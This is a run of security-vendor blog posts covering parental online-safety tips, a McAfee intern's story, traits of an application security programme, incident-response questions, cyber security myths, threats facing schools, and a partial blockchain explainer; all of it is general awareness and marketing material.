  • Keep an open dialogue about online safety. It’s important to discuss your child’s online activities with them and walk them through best internet practices, such as changing passwords every so often and not clicking on links from unknown sources. That way, they’ll be better prepared for potential cyberthreats. Making the internet a part of the conversion will also help your child feel comfortable coming to you about things they might be skeptical about online.
  • Consider leveraging a security solution with parental controls. Depending on your child’s age and how much of a window you want into their online behaviors, you can leverage a solution such as McAfee Safe Family that can be helpful for creating a safe online environment. You can block certain websites and create predefined rules, which will help prevent your child from sharing comprising information.

And, of course, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post 4 Ways for Parents to Handle the Facebook Messenger Bug appeared first on McAfee Blogs.

McAfee for McAfee: An Intern Journey

By Gwendolyn McAfee

My grandfather always told me that I could achieve anything the world has to offer if I put my mind to it.  To me, that saying means that I am more powerful than anything else. I’ve always had a passion for technology, and somehow, everything I did, whether it was at school or in my personal life, technology was at the center of it.

So, when I started my junior year of college, I set a goal for myself to find a corporate internship in technology. Getting into an internship wasn’t as straightforward as I’d hoped. Determination and a little bit of good timing brought me to a career fair at my university, Prairie View A&M, where McAfee was in attendance. I spoke to the wonderful representatives and they encouraged me to apply for a position. I thought it was cliché. I mean, just because my surname is the same, does that mean I’m meant to work for McAfee? But then I said to myself, “The company is TOTALLY for you; it literally has your name (McAfee) on it. What other signs do you need?” So, I applied for a position, and eight months later, I found myself at McAfee as a Channel Operations Intern. Now, two months into my internship, McAfee has provided me with the real-world, hands-on projects and experience that I longed for in an internship.

Here are three reasons why my internship with McAfee has been a truly irreplaceable experience.

  1. “We innovate without fear.”

When I walked into McAfee on my first day, I felt the energy and strength of the people that make up McAfee. Everyone at McAfee innovates without fear. It is such an amazing sight to see McAfee employees so committed to creating and improving without fear of being judged or fear of failure. And instead of being told what to do, I got to share what my passions are and what I wanted to work on and, my what I hoped I could take away from my overall experience. My manager heard me and created a tailored plan for me. I create presentations, spreadsheets, and new strategies to help McAfee connect more with partners and customers. And I love the fact that I have the same expectations, responsibilities, and opportunities as any other team member. I truly feel like I get to add value to my team with every project that I complete. And that’s an exceptional feeling.

  1. Opportunities All Around

Through my internship at McAfee, I have gained a plethora of opportunities to attend different events and do things that I wouldn’t usually do. In my first few weeks in my internship, I collaborated with the university recruiters to create the first McAfee intern group community.  Through this, we were able help interns connect with others, and with McAfee executives. This helps every intern grow professionally, which goes back to McAfee’s mantra, “Together is Power.” The impact of connecting and working together is something that I cherish and firmly believe is one of the greatest things about working at McAfee.

 

 

 

 

  1. Overall Amazing

McAfee influences the world by providing top cybersecurity programs, giving back to the community, and being a top company to work for. McAfee has made an impact on my life, and my time here has shown me that I can truly make an impact on anything as long as I put my mind to it.

 

The post McAfee for McAfee: An Intern Journey appeared first on McAfee Blogs.

Characteristics of a World-Class AppSec Program

A great AppSec program requires more than just scanning. It takes seamless processes and services designed to help developers fix flaws and write more secure code.

The following is a list of the characteristics that we have found among our customers with world-class AppSec programs.

Consider security early

In early planning phases, ensure secure architecture and design and conduct threat modeling of applications. The easiest security flaw to fix is the one that is never introduced.

Create a centralized AppSec inventory

One of the first challenges when kicking off an AppSec program is understanding where the applications are hosted, where the codebases are, who is responsible for building and maintaining them, what development languages are used, how critical are they to the organization, and so on.

In addition, organizations may not know about all of their web applications, either due to M&A activities or because they are created faster than they can track them, leaving them vulnerable to attack. Veracode Discovery quickly scans your entire web application attack surface to identify and inventory all of your web applications, giving you the best visibility into (1) where to target Dynamic Application Security Testing (DAST) scanning with Veracode Dynamic Analysis, and (2) into apps that can be decommissioned.

Learn more about prioritizing applications in this blog post.

Move beyond “business-critical” apps

A focus on business-critical apps is a good place to start, not to stop. While business-critical applications do pose a high risk because of the nature of the information they touch, cyberattackers are unconcerned with the business criticality of the applications they attack. Instead, they look for the path of least resistance into an organization, and oftentimes this can be an application whose security was overlooked because it was not deemed business critical. In the end, an effective application security program assesses the entire application landscape – including all applications internally developed, vendor-supplied, and downloaded – and considers both criticality and exploitability.

Defend in depth

There is no application security silver bullet. Effective application security combines the strengths of different testing types – both manual and automated – throughout the application lifecycle. For instance, our research showed that there are significant differences in the types of vulnerabilities you discover dynamically at runtime compared to those you’ll find when doing static testing in a non-runtime environment. In fact, two of the top five vulnerability categories we found during dynamic testing weren’t even among the top five found by static, with one not found by static at all. Cumulatively, these data points reveal that security testing, with multiple methods, remains a necessary step in securing your application layer and avoiding a damaging breach.

For more details on the different types of application security testing, see Your Guide to Application Security Solutions.

Create risk-based policies

Application security policies should always prioritize and emphasize vulnerabilities and applications that create the most risk.

For instance, rank vulnerabilities so that you are focused first and foremost on those that are actually increasing your risk. It’s important to distinguish between flaws that represent a remote risk and those that represent more substantial, real-world risks. In some cases, the likelihood of a vulnerability being exploited may be low, but the potential damage might be great. In other instances, the chance of exploit might be high, but the damage may not be substantial.

In addition, not all apps are created equal, so create different requirements for different apps. For instance, an application that has IP, is public facing, and has third-party components may require all medium to very critical flaws to be fixed. A one-page temporary marketing site may only require high/very high flaws to be fixed.

Learn more in Everything You Need to Know about Application Security Policies.

Employ developer coaching

Developer training has an essential role in reducing flaws. Effective application security requires both locating security-related defects, and fixing them. But developers simply aren’t equipped with the knowledge or skills they need to fix these flaws. Veracode recently sponsored the DevSecOps Global Skills Survey from DevOps.com, and found that less than one in four developers or other IT pros were required to take a single college course on security. Meantime, once developers get on the job, employers aren't advancing their security training options, either. Approximately 68 percent of developers and IT pros say their organizations don't provide them adequate training in application security. The good news is that getting developers the security training they need makes a big difference. Our data revealed that eLearning improved developer fix rates by 19 percent; even better, remediation coaching improved fix rates by a whopping 88 percent.

Learn more about developer training.

Allow for developer self-service

Contrary to many security professionals’ innate tendencies, it’s ideal to give your security testing tools “away for free.” Give developers a self-service portal where they can access AppSec tools, help them integrate AppSec tools into their IDEs, and make security reports visible to all.

However, governance should still sit with security. The security team should own setting policies, tracking KPIs, and providing security coaching to developers.

Learn more in The Security Professional’s Role in a DevSecOps World.

Focus on remediation and mitigation

Ultimately, your AppSec program is not effective if you’re not fixing what you find. You can scan every piece of code you write, but without adequate training and guidance, you will not create more secure code. In fact, you will delay developer timelines and still produce vulnerable code. Enabling developers with both a scanning tool and remediation and mitigation guidance is key. At Veracode, we conduct over 5,000 consultation calls a year with development teams, guiding them through fixing flaws they have never had to address before. And we’ve found that after only one to two of these calls, developers’ secure coding know-how improves dramatically.

In addition, your AppSec program also needs to be set up to enable remediation guidance.

For instance, every scan completed should be assessed against a policy — not a policy that changes how you scan or what is discovered, but rather a filter of the results to see if you passed or failed based on the parameters you set for risk tolerance. This policy should also include: how often does a team need to scan, how long do they have to fix certain flaws based on severity/criticality, and what scanning techniques must be used. In addition, you need remediation time built in between scans. Just scanning multiple times a day and pulling results into a tracking system is not useful if no one has the bandwidth to fix anything. You are better off setting a realistic scanning schedule (once a day) so developers have time to fix what they find. You can increase scan frequency as you become more secure and are passing policy on a regular basis.

Learn more in Application Security Beyond Scanning.

Integrate into the SDLC

Integrate security into the CI/CD process as early in the development lifecycle as possible. Your goal should be to minimize the gap between the discovery of a problem and the time it takes to bring the developer back in to fix it. First, because it’s much faster, cheaper and easier to ask a developer to fix something they just coded compared to something they wrote six months ago. The longer you wait, the longer it will take for the developer to get back up to speed with that particular code, assuming the developer is even still on the project. Second, because the time it takes for attackers to come up with exploits for newly discovered vulnerabilities is measured in days, and sometimes hours. Yet our most recent State of Software Security report found that one in four high and very high severity flaws are not addressed within 290 days of discovery.

Aim to conduct security testing during continuous integration. Better yet, use automation to conduct testing while the developer is writing the code, giving them instant feedback so they can make a fix before it ever becomes a problem.

Get more details on integrating AppSec on our website.

Learn more

Learn from our decade-plus of helping customers build out their AppSec programs; start with our Application Security Best Practices Handbook.

Four Key Questions to ask following a Cyber Attack

Guest Article by Andy Pearch, Head of IA Services at CORVID

Cyber attacks are inevitable, but it’s how an organisation deals with them that can make or break their business. Have they got all the answers, and do they fully understand the implications? Can they be sure the attack won’t happen again?

Swift and comprehensive incident response is a critical step to ensuring the future security of a business and protecting its reputation. It’s not enough to be aware that an attack is taking (or has taken) place. There are four key questions organisations need to be able to answer following a cyber security breach – if a single answer is missing, the security team won’t have the full picture, leaving the business vulnerable to impending attacks. Not having this level of insight can also damage an organisation’s relationships with suppliers and affect customer confidence, as it means the business itself is not in control of the situation.

Andy Pearch, Head of IA Services at CORVID, outlines four key questions all organisations must be able to answer after a cyber attack.

1. How and where did the Security Breach take place?The first step of an effective incident response strategy is to identify how the attackers got in. Quite simply, if an organisation misses this first crucial step, attackers will exploit the same vulnerability for future cyber attacks. Guesswork won’t cut it – any security professional can hypothesise that “it was probably an email”, but security teams need clear evidence so they can fully analyse all aspects of the problem and devise an appropriate solution.

2. What Information was Accessed?
Understanding specifically what information was accessed by the attacker is paramount to knowing what impact the attack will have on the organisation. Identifying which departments were targeted or what types of information might have been stolen isn’t good enough; organisations need to be able to articulate exactly which files were accessed and when. 

Headlines about attackers stealing information are common, but just as importantly, you need to know the scope of the information they’ve seen, as well as the information they’ve taken. Not only will this inform the next steps that need to be taken, and shed light on which parts of the business will be affected, but it will also enable the organisation to remain compliant with legal obligations, for example, identifying if a data breach needs to be reported under GDPR.

3. How can Systems be Recovered Quickly?
Organisations will understandably want to get their IT estate back to normal as soon as possible to minimise damage to their business, service and reputation. If the compromise method is identified and analysed correctly, IT systems can be remediated in seconds, meaning users and business operations can continue without downtime for recovery.

4. How do you prevent it from happening again?
Knowing the IT estate has been compromised is useless without taking steps to make sure it doesn’t happen again. Managed Detection and Response (MDR) is all about spotting the unusual activity that indicates a potential breach. If a user is accessing files they would never usually touch, sending unexpected emails or reaching out to a new domain, for example, such activity should prompt a review. The problem for most companies, however, is they lack not only the tools to enable such detection, but also the time and skills to undertake thorough analysis to determine whether it is a breach or a false positive.

A managed approach not only takes the burden away from businesses, but also enables every company to benefit from the pool of knowledge built up as a result of detecting and remediating attacks on businesses across the board. With MDR, every incident detected is investigated and, if it’s a breach, managed. That means shutting down the attack’s communication channel to prevent the adversary communicating with the compromised host, and identifying any compromised asset which can then be remediated.

Shifting Security Thinking
Clearly, GDPR has raised awareness that the risks associated with a cyber attack are not only financial, as hackers are actively seeking to access information. Security plans, therefore, must also consider data confidentiality, integrity and availability. But it is also essential to accept the fundamental shift in security thinking – protection is not a viable option given today’s threat landscape. When hackers are using the same tactics and tools as bona fide users, rapid detection and remediation must be the priority.

Four cyber security myths affecting British businesses

Businesses need to take their cyber security seriously. There are huge financial implications for being hacked, not just from the perspective of lost revenue and weakened reputation, but also in the form of stricter regulations from laws such as the General Data Protection Regulation (GDPR). However, there are a number of myths about cyber security that make it difficult for companies to know what the best course of action is. Here are four myths about cyber security that are still affecting British businesses.

Myth #1: Cyber security is purely dealt with by the IT department

One commonly held myth that can actually put businesses at risk is the idea that cyber security is something that the IT department (and only the IT department needs to be concerned about). Of course, it is necessary to provide your IT team with the budget and resources to defend your business against the risk of a cyber-attack.

The nature of cyber crime means that it is something that the whole of the company needs to be aware of, and understand how to respond to it. For example, directors and senior staff need to understand the risk of them being targeted with business email compromise (BEC) attacks. And all employees need to be aware of the dangers of phishing schemes.

Ensure that your IT department is provided with the resources to provide the relevant training to all members of the team. It is also a good idea to make cyber security an important company-wide issue so that responsibilities are fully understood.

Myth #2: Small businesses don’t get targeted by cyber criminals

It can be easy to look at the cyber criminals and hackers making headlines and believe that cyber attacks only occur against large businesses and huge organisations. Yes, it is common to read about well-known brands losing significant quantities of data, and that can lull small businesses into an assumption that it is only those large businesses that are the targets of cybercrime.

However, this couldn’t be further from the case. In fact, recent statistics show that around 60 per cent of small businesses suffer some form of hacking attempt every year. Small businesses can be considered easy targets by hackers because they may not have the money to invest in powerful cyber security. So, if you are a small business owner, don’t discount the possibility of being attacked just because you aren’t large. If you appear to be a quick win for hackers, they will target you.

Myth #3: Antivirus and firewall software is enough

Some businesses still believe that they can simply rely on their antivirus and firewall software in order to keep their business IT system secure. But the truth is that modern cyber criminals are too advanced and sophisticated to simply use these sorts of security.

To defend against skilled hackers, businesses need to invest in similarly advanced defences. This could include everything from ethical hacking and penetration testing to round-the-clock system monitoring and endpoint protection. It’s worth speaking to cyber security experts who will be able to provide you with advice and guidance on the kind of defences that your system needs.

 

Myth #4: Digital security and physical security are separate issues

Plenty of businesses understand that cyber security is a serious issue with hackers and criminals becoming more and more sophisticated and resourceful. This has seen them organisations invest in the kind of skills and software required to keep the business IT system safe, and clearly that is a good thing.

However, it can also lead to organisations overlooking the dangers of physical security breaches. If cyber criminals can gain access to your building or easily carry out surveillance, it can make it much easier for them to gain access to your system. So, it is essential that you should consider that your physical security is an important aspect of your cyber security, and invest in it in the same way.

Leading physical security provider Maltaward recommends a full range of security measures in order to keep your site secure in this blog, which includes CCTV across the property, security doors and even the use of concrete barriers to prevent unauthorised access to the company carpark or other areas of your working premises.

The post Four cyber security myths affecting British businesses appeared first on CyberDB.

School of Cyberthreats: 3 Attacks Impacting Today’s Schools

Educational institutions are data-rich gold mines. From student and employee records to sensitive financial information, schools contain a plethora of data that can be obtained by cybercriminals rather easily due to lack of security protocols. This fact has cybercriminals pivoting their strategies, leading to a recent uptick in attacks on the education sector in the United States and around the world. In fact, there are three main threats impacting schools — data breaches, phishing, and ransomware. Let’s take a look at each of these threats, how cybercriminals have executed them, and the precautions students can take in the future.

Data Breaches

Nearly half of the cyberattacks that impacted schools in 2018 were data breaches, which occur when an unauthorized, third-party gains access to a school’s network. From there, cybercriminals gain access to a host of private information on employees and students, including names, dates of birth, addresses, phone numbers, email addresses, and Social Security numbers. After an attack of this nature occurs, educational institutions reassess their current cybersecurity strategy. This usually entails revisiting privacy settings and reviewing all security protocols. 

Phishing

Even the savviest email user can fall for a phishing scheme. These types of schemes usually entail tricking teachers or students out of private information or money. When cybercriminals send emails with fraudulent links, unsuspecting users click on that link because the web address is usually only off by one or two letters. Once the scammer has been given access through the malicious link, they get to work obtaining private information contained on the device. Using this data, they can enact further schemes. There have even been cases of cybercriminals impersonating deans or teachers asking for gift cards, which is a type of spear-phishing where scammers take the information they have obtained about a victim and use it to their advantage. The good news? Users can prevent against these sneaky attacks by staying vigilant and applying security best practices.

Ransomware

When ransomware hits, schools don’t really have a lot of options. If they have data backups in place, then they don’t have to pay the ransom, otherwise educational institutions have no choice but to completely shut down. Considering how much technology has been integrated into classrooms, this isn’t surprising. A ransomware attack usually occurs when a school district’s system is infiltrated by a virus intending to bring operations to a halt. Cybercriminals hold systems hostage for a certain amount of money or ransom until the district decides to pay. The data that is held can range from a variety of things – lesson plans, financial information, personal employee and student records. There aren’t many ways for schools to bypass these types of attacks unless they are prepared beforehand. One way to be prepared is to back up files in multiple places, such as an external hard drive or cloud.

With the uptick in overall cyberthreats against schools, more and more educational institutions need to put protocols into place to avoid the multitude of ever-growing threats. However, students can do their part in prioritizing cybersecurity by following these tips to ensure personal data is secure:

  1. Watch what you are clicking. Phishing schemes are becoming craftier. A too good to be true study guide or deal on a textbook might end in a compromised system. It is always best to check directly with the source of the email or link before handing over money or data.
  2. Make sure you recognize the sender. When responding to a message, first check to see if you recognize the sender’s name and email address. If it looks strange, ignore the message. If you are unsure, check with the sender in person.
  3. Never reuse passwords. Many users reuse the same passwords or slight variations of it, across all of their accounts. That means if a hacker uncovers one password, all other accounts are put at risk. So, it is crucial to use different passcodes to ensure hackers cannot obtain access to all of your accounts.
  4. Stay on a secure network. If you connect to public Wi-Fi, be sure the network is secure. If it is not, consider using a virtual private network (VPN).
  5. Install security software on all devices. Security doesn’t begin or end with personal computers. All devices need to be protected with comprehensive security software, including mobile devices and tablets.
  6. Make sure all device software is up-to-date. This is one of the easiest and best ways to secure devices against threats, as developers are constantly releasing patches for vulnerabilities and flaws.

And as always, if you are interested in learning more about IoT and mobile security trends and information, follow @McAfee_Home on Twitter, and ‘Like” us on Facebook.

The post School of Cyberthreats: 3 Attacks Impacting Today’s Schools appeared first on McAfee Blogs.

Demystifying Blockchain: Sifting Through Benefits, Examples and Choices

You have likely heard that blockchain will disrupt everything from banking to retail to identity management and more. You may have seen commercials for IBM touting the supply chain tracking benefits of blockchain.[i]  It appears nearly every industry is investing in, adopting, or implementing blockchain. Someone has probably told you that blockchain can completely transform your business! Is this hype or could blockchain really have such a dramatic impact? In this analysis, we will explore both real-world and contrived examples for implementing this quickly developing technology. We will also explain the two key benefits blockchain provides, as well as when to look elsewhere for the appropriate solution. We will explain the primary distinguishing features of major blockchains to help you choose which, if any, is best for you.

Who Uses Blockchain?

Cryptocurrencies may be the best-known example of blockchain use, but they are not the only ones. American Express launched a blockchain linked to its membership rewards program in May 2018.[ii] This program has a lot of similarities to traditional currency exchanges and points reward systems. However, integrating the points rewards system into a blockchain can provide additional data beyond the transactions. American Express uses it to provide insight into partner offerings, while partners receive similar insight into customer behavior. The data associated with that transaction is valuable to both the rewards program owner and the partners that facilitate the rewards. Product manufacturers can use a blockchain system in this manner to accept rewards purchases through their own channels, while the program owner can get more visibility on stock keeping data. Data sharing to all parties can be simplified, enriching the entire ecosystem.[iii]

Not only financial institutions invest in blockchain. The energy sector is also developing plans. LO3 Energy is working on changing the way energy is distributed, particularly in local areas.[iv] Using this technology, they can facilitate energy trading between consumers, reducing inefficiencies and reliance on nonlocal sources. Siemens announced additional investment into LO3 Energy in December 2017. Together they will work to establish microgrid communities and local energy marketplaces.[v] Blockchain does not just store records of energy transactions; it can also facilitate and enforce business rules, creating automated execution of transactions between users.

Even your future commute may be positively impacted by blockchain technology. The auto industry is investing in blockchain in a big way. On May 2, 2018, the Mobile Open Blockchain Initiative announced a consortium of car manufacturing–related partners to standardize blockchain use in the industry.[vi] That announcement listed several upcoming projects:

  • Vehicle identity, history, and data tracking
  • Supply chain tracking, transparency, and efficiency
  • Autonomous machine and vehicle payments
  • Secure mobility ecosystem commerce
  • Data markets for autonomous and human driving
  • Car sharing and ride hailing
  • Usage-based mobility pricing and payments for vehicles, insurance, energy, congestion, pollution, and infrastructure

Many of these projects are related to data management. This is an obvious application because blockchain is a data-centric structure. Ford was recently awarded a patent related to the partnership.[vii] In the patent the company proposed a system for vehicle-to-vehicle cooperation to marshal traffic.

Figure 1: Image of traffic congestion from Ford’s patent application. Source: Ford Global Technologies.

To decrease congestion, each vehicle can communicate with each other to coordinate movement, improving traffic flow. The system also allows vehicles to collaborate based on priority. If the driver is in a hurry, then vehicles can coordinate traffic flow to the speed of that individual. One beneficial application could be for emergency responders.

Blockchain is still in its infancy but has already taken hold in certain industries. You do not need to be a programmer to understand its value. There are many use cases, some of which are not obvious until you understand exactly what blockchain is and which problems it solves. Applying blockchain to the right problem could have a significant impact on your success. Applying blockchain to the wrong problem may reduce your efficiency and waste time and resources.

What is Blockchain?

Rather than explain blockchain with technical jargon such as nonces, hash functions, merkle trees, and other complex concepts, let’s instead begin with a simple business analogy.

Four companies agree to a business opportunity to design, print, deliver, and sell 2020 New Year’s holiday cards. Each company is responsible for its own portion of the product. If the product is designed, printed, delivered, and sold by December 31, they stand to make a significant profit. However, if any one of the companies backs out or fails to deliver on its task, then the entire project fails—resulting in a significant loss.

Suppose, after agreeing to ship the cards, the delivery company receives a new, more lucrative offer. The profit from the opportunity offsets any loss from the holiday cards. Its priority changes accordingly. The three remaining companies now must deal with the consequences of one undependable member failing to fulfill its agreement. How can they come to an agreement when they depend on others yet cannot trust them to follow through?

This is the problem that blockchain solves. Rather than depending on a central authority such as a government for validation and enforcement, blockchain solves this problem in a decentralized way. It removes the need to trust the contributors or any authority. It is called a trustless network, meaning that no trust is needed because everything can be verified by any member. How does the concept of a trustless system work?

The agreement to contribute is called consensus. If even one member does not agree, whether for malicious purposes or through miscommunication, consensus is broken. It is the primary function of blockchain to guarantee consensus as well as immutability of the data. Consensus is gained through the consensus algorithm requiring a proof or voting threshold. We will discuss specific census algorithms and how they work later.

Blockchain can be thought of as a ledger of data, so ensuring the data cannot be tampered with (immutability) enables the verification of the ledger state. No one can go back and alter the books. Traditionally, the ledger is seen as a record of financial transactions. However, the concept applies to any type of data. One can just as easily store documents, images, log files, or other items in a blockchain. Even decentralized programs, also known as smart contracts, can be stored. Smart contracts enable the execution of code on the blockchain, but the code itself and its output are just a special type of data.

Figure 2: A simplified blockchain storing recipe instructions. The Previous Hash and Stuff fields generate the Hash field. This hash becomes part of the next record.

A blockchain has only two basic requirements:

  • A verifiable chain of blocks
  • A consensus model

Blocks simply store data. In our example, a block stores the agreements of the four companies. For cryptocurrencies this data is currency transactions. For a fresh-produce delivery company, the data might be sensor logs to verify proper handling and environmental controls. In certain unobvious implementations, even seemingly intangible objects such as the rules, assets, and user choices in a collectable card game can be stored as blocks.[viii]

Just because a block contains data does not make it trustworthy. Each block, more specifically its data, needs to be independently verified by all clients to ensure consensus. This concept requires data immutability. If a client cannot verify the block, then it must trust some authority, ultimately breaking the tenet of decentralization. Again, to avoid technical jargon, all we need to understand is that blocks can be uniquely identified by a hash. Think of a hash as a unique identification number that is not assigned, but rather calculated. Every client can calculate the same hash of the same block using the same algorithm. If any data changes, even a single character, the hash changes completely. By calculating and storing the hash, all parties can verify that the data has not changed. (In principle, there is a small chance, depending on the hashing function used, that more than one block could be identified with the same hash. However, the likelihood is so incredibly small that a brute-force attempt on current SHA-256 hashes would take longer than the age of the universe.)

We can verify an entire “chain” of blocks as well. Because the hash of any block is just data, it can be added to the data of the next block. By adding the hash of one block to the next, we can interlink the data of all blocks. The data of any block is dependent on all previous data in the chain. If anyone tampers with data in any previous block, the hash of that block changes as does its parent block’s hash, continuing all the way up the chain. Without needing to independently verify the data of every block, we can calculate each hash and verify the integrity of all data.

However, knowing the data has not changed is not enough to ensure the original data is still intact. For example, a disgruntled employee may wish to create their own blockchain and remove items from the record. In a centralized system, we could restrict write access to trusted parties, such as a database administrator. In a decentralized system, in which multiple companies or individuals are involved, limitations make that level of control impractical. There are a few ways to come to a consensus, but there are two primary categories for decentralized blockchains:

  • Nakamoto-style consensus (lottery)
  • Byzantine fault tolerance (voting)

The first category is Nakamoto-style consensus, named after the author of the first blockchain paper.[ix] This method is akin to using a lottery system with some verifiable “cost” associated. Because cryptocurrency is the most common implementation of blockchain, the cost is historically based on the processing power required to mine cryptocurrency, but it could also be storage space or time, among other resources.

The second method of consensus is Byzantine fault tolerance, a model based on current networking fault-tolerance research. As much as a lottery is analogous to the Nakamoto model, so is voting to the Byzantine fault-tolerance model. Each model has its pros and cons, which are important to understand when choosing a consensus model. We will describe major consensus implementations later in this analysis.

Both Nakamoto style and Byzantine fault tolerance consensuses have several implementations to choose from. Regardless of which implementation we choose, once a consensus is made these blocks can be chained together creating a single ledger of immutable data. Multiple chains may exist, but only one chain is agreed upon. Additional chains can be made by happenstance or by malicious actors, but only one chain will be considered correct by the network.

The following image shows a failed attack against a proof-of-work consensus model from a simulator. The green nodes all agree to use the longest chain, based on the consensus model. Bad actors, illustrated as red nodes, are unable to break the consensus of other members due to the high processing cost in the proof-of-work model. Notice the green, or “honest,” nodes all agree on the latest block simply by choosing the longest chain with the most work.

Figure 3: A proof-of-work simulation showing consensus despite malicious actors.

Comparing use Cases: the Good and the Bad

Data within blocks are similar to records in a database. Many scenarios can be accomplished by using traditional databases and in some cases are better suited to doing so. When is using a blockchain appropriate and when is it not? We can boil this question down to two principles:

  • Decentralization of owners
  • Lack of trust

Any system that requires centralization and tight control is not a good candidate for blockchain. In many cases we could make it work, but we would be better off looking elsewhere. A centralized system relies on some authority deciding what is valid. It can be streamlined to be incredibly efficient. By using a blockchain we must either give up that authority, losing efficiency, or maintain the authority, breaking key benefits of blockchain. There are also some gray areas where a balance must be met. Let’s take a look at good and bad use cases and compare them.

Decentralization: the good

Alice owns a hospital that serves thousands of patients a week. The medical staff need to have a clear picture of every patient’s medical history to make effective and safe decisions. When patients come in for the first time they are asked routine medical questions that are entered into their records. When the patients return, the records are retrieved and reviewed by the staff. However, patients sometimes have difficulty remembering key details or leave out important information. The hospital can request information from their previous providers. That may prove impractical in a time-sensitive scenario or when the patients are unable to assist. The patients might have one or more providers they have forgotten, leaving the staff ignorant of some medical history.

This is an example of the decentralization principle. Alice’s hospital has no control over any medical data not in its possession. That data is dependent on the accuracy of the patients and other medical practitioners. Alice also has no control over the other practitioners. She is dependent on their timely cooperation. Each entity needs to ensure the data is up to date and accurate while not being held accountable by the other. Who gets the final say on the entirety of the medical history? How does Alice know if she has it all? There are certainly centralized solutions to the problem, but the decentralized nature of the patients’ data flow lends itself well to a blockchain solution. Some solutions for this problem are already underway.[x]

Decentralization: the bad

Bob is the owner of a chain of restaurants in the Dallas area. To encourage customers to return, he has introduced a rewards system; customers can earn points by spending money at any of his restaurants. They can use the points to pay or reduce their next bill. As a bonus, he would like the points to be transferable to other patrons. Recognizing the similarities between his point system and cryptocurrencies, Bob implements a blockchain to track the distribution and transfer of the points. Members can join his blockchain network when they earn points. They can spend points by submitting the changes to the network. Bob does not even require names for the points. As long as the owners keep their account keys, they can freely transfer the points to anyone.

This scenario is deceptively similar to cryptocurrency implementations and the American Express rewards system. However, the similarities have confused Bob. His customers and individual restaurants are considered to be decentralized. However, Bob is the owner of all the restaurants and gets to make all business decisions for them. This is not a decentralization of owners but of management. In the American Express rewards program, each partner has its own agency. American Express does not control them or their actions. This is an example of a decentralization of owners. Furthermore, Bob’s customers are also not independent of Bob. If Bob decides to serve only pizza, then customers will have limits on what they can order. Bob is an authority in the entire system even if the pieces have varying degrees of autonomy. He can certainly allow managers to supply their own menu, but they are accountable to him. The system Bob envisions fails the decentralization principle.

Could Bob implement his point system anyways? Certainly. However, he fails to gain many of the advantages of using blockchain while losing the efficiency and agility of a traditional database implementation. Instead of blockchain, he could load points onto a rewards card that anyone could carry. The database can track the current balance of the card. Each restaurant can check the database before approving any purchases with points. This is a simple and effective system that has already been proven to be fairly robust. Bob’s case may not be a good candidate, but simple changes could change that. What if Bob did not own all the restaurants? What if the points could be used by partners such as hotel chains? These new features remove Bob as a central authority—making a much better case for a blockchain solution.

Trust: the good

Carol owns a grocery store and wants to buy only the freshest produce from her suppliers. However, sometimes she does not see the quality of the product until it is stocked, well after accepting delivery. Her suppliers maintain that the quality of the produce is good and any issues should have been raised at the time of delivery. They disagree who is at fault for the low-quality produce. It could be improper storage by the farmers, oversight of the goods by the shippers, or failure to check the goods by Carol’s grocery staff. To solve this issue, Carol and her suppliers created a blockchain network to track the handling of the produce. Storage sensors measure the moisture and heat of the storage unit as well as timestamps from the farm to final delivery. When the produce switches hands, a new record on the blockchain indicates the change and new storage sensor data collection begins.

Carol does not trust that produce is delivered in good condition. The suppliers do not trust that Carol stores the produce correctly. If each entity could validate proper storage, trust would not be required. Carol could decide, with limited inspections, whether to accept the produce based on its storage record. The farmers could prevent unreasonable returns based on faulty temperature control during shipping. This scenario fits the trust principle of among the participants. Additional measurements such as weight and images of the produce at various stages could also be added for further verification. If we suppose that the suppliers service many grocery stores and Carol buys from multiple suppliers, then we have an even stronger case for the decentralization principle as well.

Trust: the bad

Ted wants to create a sports card trading network. Users need to prove they legitimately own the cards. By registering the card in a blockchain, all users can track who owns which card and verify ownership if someone claims to own a rare or valuable card. Ted creates a blockchain to maintain the ownership data. When someone trades a card, the records are updated to reflect the change.

At first glance, this scenario is similar to Carol’s produce problem. A physical item must be delivered, and details are stored in the blockchain. However, Carol has the option to verify log data before she accepts the delivery. If there is a disagreement, the log data can justify who is at fault and they assume the cost. Ted, however, wants to track the physical object. Any disagreement will be about the delivery and location, not the quality of delivery and storage. If Ted delivers a card, the network trusts that he will update the records accordingly. If the network is updated, both the buyer and seller trust that the card was delivered. Data within this trading system cannot be independently verified. If there is a disagreement, there is no recourse within the network. The physical location of the card is important as well as the timing of both the physical and blockchain transactions. In Carol’s system, only the log data and the sum of the log data that needs to be verified are important. She answers the question, “Did you deliver the produce to spec?” Only then does a transaction happen. Carol’s recourse is not to accept the delivery. In Ted’s scenario, the card may be registered in the wrong hands—with no ability to correct the network.

Could a similar system work for Ted? Absolutely. One solution is to step into some gray area and add a little trust to the system. However, any required trust creates dependencies, so our goal is to reduce reliance on a trust model as much as possible. If Ted worked with digital trading cards instead of physical cards, he could reduce the trust factor to zero. The entire system could be contained in the network, eliminating any need for trust. If he must maintain physical cards, then he could learn from examples in the diamond industry. Beginning early in 2018, the diamond industry implemented blockchain to track 100 diamonds from mine to retail with a limited amount of trust .[xi] Each entity was required to upload data at each milestone, creating a method of verification. Trust in this case was reduced, but not eliminated, and allowed multiple stakeholders visibility into the diamonds in their possession. Ted could take a similar route to require a proof-of-delivery stage for a valid trade transaction. The harder the proof of delivery is to fake, the less trust the system needs. Any data coming from outside the network requires some form of trust. Ted can balance his needs for physical tracking against added trust in outside delivery verifications.

Holiday cards

How does the holiday card example fare with the decentralization and trust principles? It should be clear that the four companies have their own agency. They do not answer to the same management or boards of directors. The lack of centralization indicates blockchain could provide value that a traditional database could not. The trust principle is a bit more difficult to pin down, however. Certainly, they lack trust that each will do the job they were contracted to do. However, there are additional trust issues they may be concerned with. Can each party actually perform their obligations? Who is tracking the profits? If one party fails its part of the contract, how do the others recover? Each of these issues could be addressed using a blockchain implementation. To cover them all would be a massive undertaking, particularly in these early stages of the technology. Asset tracking could be resolved much like the diamond-tracking system we discussed. Financials could be tracked similarly to popular cryptocurrency implementations. Contract breach penalties could be built into the business logic using smart contracts—assuming the legal hurdles can be surmounted. What remains is the ability to gauge whether the obligations can be met in the first place. Each company could load relevant resources into a blockchain to be checked by another. This, unfortunately, requires a lot of trust that the data is entered correctly. Further work could be done to reduce this trust gap but those systems need to be designed and proven to be viable in major transactions.

Blockchain Options

